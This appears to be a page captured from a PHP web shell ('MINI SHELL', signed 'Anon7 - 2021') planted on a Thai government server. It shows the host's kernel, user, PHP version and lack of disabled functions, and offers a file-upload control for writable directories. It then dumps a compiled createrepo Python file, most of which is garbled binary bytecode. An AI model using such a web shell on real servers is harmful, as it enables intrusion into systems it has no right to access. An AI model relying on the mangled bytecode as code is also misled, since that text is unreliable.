MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/createrepo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/createrepo/genpkgmetadata.pyc
mò
`ȈDc@sjdkZdkZdkZdkZdkZdkZdkZdkZdkZdkl	Z	dZ
d„Zd„Zdd„Z
dfd„ƒYZd	efd
„ƒYZd„Zd„Zd
„Zedjo“eeiƒdjoheiddjo?dkZeieiidƒƒZeidƒeiƒqbeeidƒqfeeidƒndS(N(s	_gzipOpens0.4.3cCsti|IJdS(N(tsyststderrtstuff(R((t'/usr/share/createrepo/genpkgmetadata.pyt
errorprint$scCs|S(sStub function for translationN(targs(R((Rt_'sicCstdƒGHti|ƒdS(Nsô
    createrepo [options] directory-of-packages

    Options:
     -u, --baseurl <url> = optional base url location for all files
     -o, --outputdir <dir> = optional directory to output to
     -x, --exclude = files globs to exclude, can be specified multiple times
     -q, --quiet = run quietly
     -g, --groupfile <filename> to point to for group information (precreated)
                    (<filename> relative to directory-of-packages)
     -v, --verbose = run verbosely
     -c, --cachedir <dir> = specify which dir to use for the checksum cache
     -U, --update-info-location <url> = acquire package update metadata
     -h, --help = show this help
     -V, --version = output version
     -p, --pretty = output xml files in pretty format.
    (RRtexittretval(R((Rtusage+stMetaDataGeneratorcBsntZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d	d
„Z
d„Zd„ZRS(
NcCs.||_tiƒ|_d|_g|_dS(Ni(tcmdstselftrpmtTransactionSetttstpkgcounttfiles(RR((Rt__init__As		cCsgt|ƒ}tiitii||ƒƒ}
yti	|
ƒ}	Wn<tj
o0}t
tdƒ|
|fƒtidƒnXxá|	D]Ù}tii|
d|ƒo+|i|tii||ƒ||ƒ}q†ti||ƒd|jon|
i|ƒdjoD|
i|ddƒ}|idƒ}|itii||ƒƒq_d||
f‚q†q†W|S(	sjReturn all files in path matching ext, store them in filelist,
        recurse dirs. Returns a list objects Error accessing directory %s, %sit/s%sits$basepath '%s' not found in path '%s'N(tlentexttextlentostpathtnormpathtjointbasepatht	totalpathtlistdirtdir_listtOSErrorteRRRRtdtisdirRtgetFileListtfilelisttstringtlowertfindtreplacetrelativepathtlstriptappend(RRRRR%RR!R"R*RR((RR$Gs&!+ cCs—g}x[|D]S}xJ|idD];}ti||ƒo"||jo|i|ƒq\q!q!Wq
Wx,|D]$}||jo|i|ƒqkqkW|S(Ntexcludes(	tbadrpmsRtfileRRtglobtfnmatchR,tremove(RRR.R/R0((RttrimRpmsbs

cCsb|i|id|dgƒ}|i|ƒ}t|ƒ|_|iƒ|i	|ƒ|i
ƒdS(s.all the heavy lifting for the package metadatatbasedirs.rpmN(RR$Rt	directoryRR3RRtopenMetadataDocstwriteMetadataDocstcloseMetadataDocs(RR5R((Rt
doPkgMetadataos

cCs"|iƒ|iƒ|iƒdS(N(Rt
_setupBaset_setupFilelistst_setupOther(R((RR6{s

cCsÔtidƒ|_|iidddƒ|_|iiddƒ}|iiddƒ|_	|ii
|ƒtii
|id|id|idƒ}t|d	ƒ|_|iid
ƒ|iid|iƒdS(Ns1.0tmetadatas%http://linux.duke.edu/metadata/commons"http://linux.duke.edu/metadata/rpmR
t	outputdirttempdirtprimaryfiletws'<?xml version="1.0" encoding="UTF-8"?>
sv<metadata xmlns="http://linux.duke.edu/metadata/common" xmlns:rpm="http://linux.duke.edu/metadata/rpm" packages="%s">
(tlibxml2tnewDocRtbasedoctnewChildtNonetbaseroottnewNstbasenstformatnstsetNsRRRRtbasefilepatht	_gzipOpentbasefiletwriteR(RRLRI((RR:€s-cCs¼tidƒ|_|iidddƒ|_|iiddƒ}|ii	|ƒt
ii|i
d|i
d|i
dƒ}t|dƒ|_|iidƒ|iid	|iƒdS(
Ns1.0t	filelistss(http://linux.duke.edu/metadata/filelistsR>R?t
filelistsfileRAs'<?xml version="1.0" encoding="UTF-8"?>
sK<filelists xmlns="http://linux.duke.edu/metadata/filelists" packages="%s">
(RBRCRtfilesdocRERFt	filesrootRHtfilesnsRKRRRRtfilelistpathRMtflfileROR(RRURT((RR;s-cCs¼tidƒ|_|iidddƒ|_|iiddƒ}|ii	|ƒt
ii|i
d|i
d|i
dƒ}t|dƒ|_|iidƒ|iid	|iƒdS(
Ns1.0t	otherdatas$http://linux.duke.edu/metadata/otherR>R?t	otherfileRAs'<?xml version="1.0" encoding="UTF-8"?>
sG<otherdata xmlns="http://linux.duke.edu/metadata/other" packages="%s">
(RBRCRtotherdocRERFt	otherrootRHtothernsRKRRRRt
otherfilepathRMRXROR(RR\R[((RR<™s-ic
Csx|D]ù}|d7}yªti|i|id||iƒ}|idps|idod|t	|ƒ|fGHqÀt
iidddƒt
iid	||i
|fƒt
iiƒnWn/tij
o }
td
|
|fƒqqXy/ti|i|i|i||idƒ}Wn/tij
o }
ttdƒ|
ƒqnlXy|id
oðti|id
d|ƒ}|iddƒ}tii|id|id|id|ƒ|_|i ƒ|i!ƒt"i#|iƒ}	|	i%}|i'dddƒ}|i*d|i+dƒƒ|i*dtii|id|ƒƒ~	~nWnt,j
o	}
nX|i-d|idƒ}|i/i|ƒ|i/idƒ|i0ƒ|i1ƒ~yti2|i3|i4|ƒ}Wn/tij
o }
ttdƒ|
ƒqnRX|i-d|idƒ}|i5i|ƒ|i5idƒ|i0ƒ|i1ƒ~yti6|i7|i8|ƒ}Wn/tij
o }
ttdƒ|
ƒqqX|i-d|idƒ}|i9i|ƒ|i9idƒ|i0ƒ|i1ƒ~qW|S(NiR4tquiettverboses
%d/%d - %ss
t iPs
%d/%d - %ss
%s - %stsumtypes0
An error occurred creating primary metadata: %ssupdate-info-locations?pkg=%ss.rpms.xmlR?supdate-info-dirtupdatetidtlocationsUTF-8tprettys
s)
An error occurred creating filelists: %ss
An error occurred: %s(:RR/tcurrenttdumpMetadatatRpmMetaDataRRRtmdobjRRtstdoutRORtflushtMDErrorR!RtgenerateXMLRDRGRJtnodeRt
urlgrabberturlopenR=R)tfilenameRRRt_do_grabtcloseRBt	parseFiletmdtchildrentupdate_rootRERFRatnewProptpropt	Exceptiont	serializetoutputRNt
unlinkNodetfreeNodetfileListXMLRRRSRVtotherXMLRYRZRX(
RRReRmR/RvRpR=RaRtR!R{Rh((RR7¥s€
% /

	&





cCsð|idp	dGHn|idptdƒGHn|iidƒ|iiƒ|iiƒ|idptdƒGHn|iidƒ|iiƒ|i	iƒ|idptdƒGHn|i
idƒ|i
iƒ|iiƒdS(	NR]RsSaving Primary metadatas
</metadata>sSaving file lists metadatas

</filelists>sSaving other metadatas

</otherdata>(RRRRNRORrRDtfreeDocRVRRRXRY(R((RR8õs"	




cCstidƒ}|idddƒ}|iddƒ}|i|ƒt	i
i|i
d|i
d|i
dƒ}yti||i
ƒWn9tij
o*}ttdƒ|ƒtidƒnXy|i|d	dƒWn(ttd
ƒ|ƒtidƒnX~dS(sOwrapper to generate the repomd.xml file that stores the info on the other filess1.0trepomds#http://linux.duke.edu/metadata/repoR>R?t
repomdfiles"Error generating repo xml file: %sisUTF-8s&Error saving temp file for rep xml: %sN(RBRCtrepodocRERFtreporootRHtreponsRKRRRRRtrepofilepathRftrepoXMLRkR!RRRRtsaveFormatFileEnc(RR…R!R†RƒR„((RtdoRepoMetadatas"
-(
t__name__t
__module__RR$R3R9R6R:R;R<R7R8R‰(((RR
@s			
			
		P	tSplitMetaDataGeneratorcBs#tZd„Zd„Zd„ZRS(NcCs$ti||ƒ|id|_dS(NR4(R
RRRt
initialdir(RR((RR$sc	Cshdk}|iidƒ|p|Sn|i|ƒ\}}}}}|i
||||t|ƒfƒS(Ntmedia(
turlparset
uses_fragmentR,turlturlsplittschemetnetlocRtquerytfragidt
urlunsplittstrtfragment(	RR‘R™R”R–RR•RR“((Rt_getFragmentUrl(s	cCsÀdk}t|ƒ|ijoti||ƒdSnh}xf|D]^}|i	t
ii|i
|ƒddgƒ||<|i||ƒ|it||ƒ7_qDWd}d}|i|id|ƒ|id<t
ii|i
|dƒ|id<|iƒxm|D]e}t
ii|i
|ƒ|id<|i|id|ƒ|id<|i|||ƒ}|d7}qWt
ii|i
|dƒ|id<|i|iddƒ|id<|iƒdS(s.all the heavy lifting for the package metadataNt.s.rpmiitbaseurlR4(ttypesttypetdirectoriest
StringTypeR
R9Rt
filematrixtmydirR$RRRRR3RRtmedianoReRšRR6R7R8(RRŸR¡R¢ReR£R((RR90s2	. #
 # (RŠR‹RRšR9(((RRŒ"s		cCsÕtii|ƒootii|ƒpttdƒ|ƒt}qÑti	|ti
ƒpttdƒ|ƒt}qÑt}nPyti|ƒWn5t
j
o)}ttdƒ||fƒt}nXt}|S(sV
     check out the dir and make it, if possible, return 1 if done, else return 0
    s%s is not a dirs%s is not writablesError creating dir %s: %sN(RRtexiststdirR#RRtFalsetresulttaccesstW_OKtTruetmkdirR R!(R¥R!R§((RtcheckAndMakeDirKs 


c	Cs©h}d|d<d|d<g|d<dX|d<dX|d<d|d<d|d	<dX|d
<tiƒ|d<t|d<t|d
<d|d<dddg|d<ddg|d<yIti|dddddddddddd	d
ddgƒ\}}Wn3ti	j
o$}ttd ƒ|ƒt
ƒnXy‡x€|D]x\}}|d!d"gjot
d#dƒq0|d$d%gjod&tGHtidƒq0|d'jot|d
<q0q0WWn0tj
o$}ttd(ƒ|ƒt
ƒnXt|ƒd)jo'|d
ottd*ƒƒt
ƒn5t|ƒdjottd+ƒƒt
ƒn|}yïxè|D]à\}}|d,d-gjod)|d<qX|d.d/gjod)|d<qX|d0d1gjo:|ddXj	ottd2ƒƒt
ƒq8||d<qX|d3d4gjo:|ddXj	ottd5ƒƒt
ƒq8||d<qX|d6d7gjo|di|ƒqX|d8d9gjod)|d	<qX|d:d;gjottd<ƒƒqX|d=d>gjot|d<||d
<qX|d?d@gjo||dA<qX|dBjo||d<qX|dCdDgjo||d<qXqXWWn0tj
o$}ttd(ƒ|ƒt
ƒnX|d}tii|ƒ}|d
onWtii|ƒo||d<dE}n0tiitii|d|ƒƒ|d<dE}|dp|d|d<n|do­|d}|d
o$tii|d||dƒ}n5tii|ƒp!tii|d|dƒ}ntii|ƒpttdF|ƒƒt
ƒn||d<n|d
ot|d
}tii|ƒptii|d|ƒ}nt|ƒpttdG|ƒƒt
ƒn||d
<ndH|dI<dJ|dK<dL|dM<dN|dO<dP|dQ<dR|dS<dT|dU<dV|dW<||d<||fS(Ys‚
       Parse the command line args return a commands dict and directory.
       Sanity check all the things being passed in.
    iR]R^R-Rœt	groupfiletshaR`RdtcachedirR4tcachetsplitRR>s	.*bin\/.*s
^\/etc\/.*s^\/usr\/lib\/sendmail$sfile-pattern-matchsdir-pattern-matchsphqVvg:s:x:u:c:U:o:thelpsexclude=s	cachedir=sbasedir=sbaseurl=s
groupfile=s	checksum=tversions
outputdir=supdate-info-location=sOptions Error: %s.s-hs--helpRs-Vs	--versions%ss--splitsOptions Error: %sis*Error: Only one directory allowed per run.s)Error: Must specify a directory to index.s-vs	--verboses-qs--quiets-us	--baseurls Error: Only one baseurl allowed.s-gs--groupfiles"Error: Only one groupfile allowed.s-xs	--excludes-ps--prettys-ss
--checksumsThis option is deprecateds-cs
--cachedirs-Us--update-info-locationsupdate-info-locations	--basedirs-os--outputdirR›s$Error: groupfile %s cannot be found.s(Error: cannot open/write to cache dir %ssprimary.xml.gzR@sfilelists.xml.gzRQsother.xml.gzRXs
repomd.xmlR‚s	.repodataR?trepodatatfinaldirs.olddatatolddirsupdate-infosupdate-info-dirN( RRFRtgetcwdR¦tgetoptRtgoptstargsleftterrorR!RRR	targtat__version__RRRªt
ValueErrorRRŸR,R5RRtisabstrealpathRR¤R¬(	RRºR¼R¹RR!R½RŸR5((Rt	parseArgscsæ










I	





)
$!










c
Cs€t|ƒ\}}|d}tiitii|d|ƒƒp!t	t
dƒƒtidƒntii
tii|d|ƒƒp!t	t
dƒƒtidƒnti|dtiƒp!t	t
dƒƒtidƒn|do+|d}tii|d|ƒ|d<nttii|d|d	ƒƒptidƒnttii|d|d
ƒƒptidƒntiitii|d|dƒƒo)t	t
dƒ|dƒtidƒn|id
ƒoNttii|d|d	|dƒƒpt	t
dtƒƒtƒq6nx¡d	d
gD]“}	xŠddddgD]v}tii|d||	||ƒ}tii|ƒo9ti|tiƒpt	t
dƒ|ƒtƒqÒq\q\WqCW|do'||d<t|ƒ}|i|ƒnt|ƒ}|i|ƒ|iƒtiitii|d|d
ƒƒo¥yBtitii|d|d
ƒtii|d|dƒƒWqþt	t
dtii|d|d
ƒtii|d|dƒfƒƒtidƒqþXnyBtitii|d|d	ƒtii|d|d
ƒƒWnbt	t
dƒƒtitii|d|dƒtii|d|d
ƒƒtidƒnXxÚdddddgD]Ã}||otii||ƒ}nq»tii|d|d|ƒ}tii|ƒobyti!|ƒWq~t"j
o>}
t	t
dƒ|ƒt	t
dƒ|
ƒtidƒq~Xq»q»Wtii|d|d|dƒ}tii
|ƒoGx3ti%|ƒD]"}ti!tii||ƒƒqÉWti&|ƒny(ti&tii|d|dƒƒWnQt"j
oE}
t	t
dƒ|dƒt	t
dƒ|
ƒt	t
dƒƒnXdS(NiR4sDirectory must existis*Directory of packages must be a directory.R>sDirectory must be writable.R±R?RµR¶s,Old data directory exists, please remove: %ssupdate-info-locationsupdate-info-dirs.Error: cannot open/write to update info dir %sR@RQRXR‚s9error in must be able to write to metadata files:
  -> %ss#Error moving final %s to old dir %ss&Error moving final metadata into placeR­s&Could not remove old metadata file: %ssError was %ss%Could not remove old metadata dir: %ss(Please clean up this directory manually.('RÂRRRŸR5RRR¤RRRRRR#R¨R©toldbaseR¬thas_keyR½R	tdirecR/tfilepathRŒtmdgenR9R
R‰trenametbasenametfntoldfileR2R R!tmdpathRtrmdir(
RRËR/RÆRÌRÇRRÊRÃRÅR!RŸR5((Rtmainñs¤
&&
!$$*
$


* "H "  $ (t__main__tprofiles~/createrepo.profsmain(sys.argv[2:])(RRR¸R
RBR&R1RnRfRMR¾RRR	R
RŒR¬RÂRÎRŠRtargvthotshottProfileRt
expandusertptrunRr(RRÂRBRŒR
R¬R	R¸RÎR&RfRRMRÒRR¾R
RnRÕR1R((Rt?s6									
		â)		Ž	f
	


Anon7 - 2021